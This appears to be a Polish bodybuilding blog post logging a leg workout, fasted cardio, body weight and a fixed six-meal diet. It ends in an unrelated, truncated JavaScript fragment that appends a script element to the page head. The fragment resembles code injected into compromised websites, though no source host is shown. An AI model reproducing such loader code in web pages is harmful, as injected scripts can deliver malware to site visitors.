Ćwiczenia

1.08.2012 / Tomasz Lech / Kulturystyka

Dzisiaj jak zwykle w środę skatowałem pięknie nogi.

-wyprosty ud siedząc 5×15

-przysiady ze sztangą na plecach 5×12 100,120,140,160,180kg w przyszłym tygodniu wchodzę w ostatniej na 200kg.Nie mam już dolegliwości w stawie krzyżowo-biodrowym więc zaszaleję,a co mi tam:)

-wykroki chodzone z hantlami 4×30,28,26,24 kroki-tutaj z serii na serię wymiękałem:)

-wypychanie jednonóż na suwnicy + przywodzenie ud na maszynie siedząc 4×15+15


Aeroby na dzień dzisiejszy kręcę z rana na czczo 6x30min,od przyszłego tygodnia wchodzę na 6×40.Waga z rana 109,6kg.

Posiłki wyglądają od dłuższego czasu tak samo:
1.140gr płatków owsianych,12 białek jaj,20gr orzechów,20gr rodzynek
2.280gr piersi,100gr ryżu,10gr oliwy,warzywa
3.280gr piersi,100gr ryżu,10gr oliwy,warzywa
4.280gr piersi,100gr ryżu,10gr oliwy,warzywa
5.300gr wołowiny,250gr ziemniaków,warzywa
6.10 białek jaj,50gr białka CASSEIN 100,30gr orzechów.
Niby tego dużo,ale i tak chodzę głodny:)

Fota z dzisiejszego treningu.

} else {if (document.currentScript) { d.getElementsByTagName('head')[0].appendChild(s);